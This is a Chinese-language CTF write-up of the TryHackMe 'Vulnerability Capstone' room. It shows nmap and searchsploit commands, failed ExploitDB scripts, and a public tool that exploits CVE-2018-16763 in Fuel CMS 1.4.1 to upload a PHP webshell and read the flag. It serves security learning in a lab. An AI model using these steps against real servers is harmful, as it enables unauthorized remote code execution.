> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe Vulnerability Capstone writeup (zh-TW)
- URL: https://taiwanding.com/tryhackme-vulnerability-capstone-writeup-zh-tw/
- Published: 2025-10-03T08:16:04.000Z
- Updated: 2026-07-15T02:49:54.000Z
- Author: Kevin Chen
- Tags: tryhackme, CTF

## **題目資訊**

- **平台**: TryHackMe
- **難度**: Easy
- 題目連結: [https://tryhackme.com/room/vulnerabilitycapstone](https://tryhackme.com/room/vulnerabilitycapstone?ref=taiwanding.com)

## **發現服務**

### Nmap 掃描

```bash
└─$ nmap -Pn -sV -sC 10.201.27.44
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-03 15:46 CST
Nmap scan report for 10.201.27.44
Host is up (0.37s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 c9:f5:89:c3:63:5a:00:51:0a:5d:ff:af:ae:8d:c6:b5 (RSA)
|   256 0f:31:0b:68:2c:dc:4d:a9:a9:e6:93:a9:dc:9a:1c:72 (ECDSA)
|_  256 d0:63:65:cb:b6:fd:d9:a9:ea:07:9e:48:5f:dd:38:c2 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/fuel/
|_http-title: Welcome to FUEL CMS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.17 seconds
```

**結果**

- **80/tcp**: Apache httpd 2.4.18
- 服務: Fuel CMS

## **Step 1: Web 服務偵察**

訪問 `http://10.201.27.44/` 發現 Fuel CMS 首頁。

**版本識別**

- 從首頁或錯誤訊息可確認版本：**Fuel CMS 1.4**
- 此版本存在已知 RCE 漏洞

## **Step 2: 漏洞研究**

### 搜尋已知漏洞

```bash
searchsploit fuel cms

```

**發現多個 exploit**

```
Fuel CMS 1.4.1 - Remote Code Execution (1)    | linux/webapps/47138.py
Fuel CMS 1.4.1 - Remote Code Execution (2)    | php/webapps/49487.rb
Fuel CMS 1.4.1 - Remote Code Execution (3)    | php/webapps/50477.py

```

**漏洞說明**

- **CVE-2018-16763**: Fuel CMS 1.4.1 允許透過 `pages/select/` 的 `filter` 參數進行 PHP 代碼注入
- **影響版本**: <= 1.4.1
- **漏洞類型**: Pre-Auth RCE（無需認證）

## **Step 3: 漏洞利用嘗試**

### 方法 1: Python exploit (失敗)

```bash
# 嘗試使用 ExploitDB 上的腳本
python3 50477.py -u http://10.201.27.44/

```

**問題**

- 輸出解析錯誤
- 只顯示 "system" 或 PHP 錯誤訊息
- 命令雖執行但無法正確顯示結果

### 方法 2: Ruby exploit (失敗)

```bash
# 安裝依賴
gem install docopt

# 執行
ruby 49487.rb http://10.201.27.44 "ls -la"

```

**問題**

```
NoMethodError: undefined method 'captures' for nil

```

- 正則表達式匹配失敗
- 輸出解析邏輯有 bug

## **Step 4: 成功利用 - p0dalirius 工具**

### 使用最佳工具

這個工具會自動上傳 PHP webshell 並提供互動式 shell，完全避開輸出解析問題。

**安裝與執行**

```bash
# Clone repository
git clone https://github.com/p0dalirius/CVE-2018-16763-FuelCMS-1.4.1-RCE.git
cd CVE-2018-16763-FuelCMS-1.4.1-RCE

# 執行互動式 console
python3 console.py -t http://10.201.27.44

```

### 工作原理

1. **Webshell 上傳**: 利用 `file_put_contents` 透過 CVE-2018-16763 上傳 PHP webshell
2. **互動式 Shell**: 透過 API 端點執行命令，輸出乾淨無 HTML 干擾

## **Step 5: 偵察**

```bash
└─$ python3 console.py -t http://10.201.27.44
CVE-2018-16763-FuelCMS-1.4.1-RCE - by Remi GASCOU (Podalirius)

[+] Shell was uploaded in http://10.201.27.44/908b945f78d04d3fbe1d23b40a369094.php
[webshell]> ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
[webshell]> ls -al /home/ubuntu
total 40
drwxr-xr-x 5 ubuntu ubuntu 4096 Sep  3  2021 .
drwxr-xr-x 3 root   root   4096 Sep  3  2021 ..
-rw------- 1 ubuntu ubuntu  178 Sep  3  2021 .Xauthority
lrwxrwxrwx 1 ubuntu ubuntu    9 Sep  3  2021 .bash_history -> /dev/null
-rw-r--r-- 1 ubuntu ubuntu  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu 3771 Feb 25  2020 .bashrc
drwx------ 2 ubuntu ubuntu 4096 Sep  3  2021 .cache
drwxrwxr-x 3 ubuntu ubuntu 4096 Sep  3  2021 .local
-rw-r--r-- 1 ubuntu ubuntu  807 Feb 25  2020 .profile
drwx------ 2 ubuntu ubuntu 4096 Sep  3  2021 .ssh
-rw-r--r-- 1 ubuntu ubuntu    0 Sep  3  2021 .sudo_as_admin_successful
-rw-rw-r-- 1 ubuntu ubuntu   23 Sep  3  2021 flag.txt
[webshell]> cat /home/ubuntu/flag.txt
THM{Redacted}
```

## **技術要點總結**

### **CVE-2018-16763 漏洞細節**

1. **受影響參數**:
  - `/fuel/pages/select/?filter=`
  - `/fuel/pages/preview/` (data 參數)
2. **為何許多 exploit 失敗**:
  - 使用 `system()` 函數，輸出混雜在 HTML 錯誤中
  - 正則表達式無法正確提取輸出
  - PHP Warning 訊息干擾

## 經驗分享

### 關於**Step 3**、**Step 4:**

**這一步基本上searchsploit的腳本都測試過，不過發現都沒辦法，最後在github上找到比較穩定的版本**，所以也不必每次都依賴searchsploit，可以尋找比較新或是穩定的exploit版本。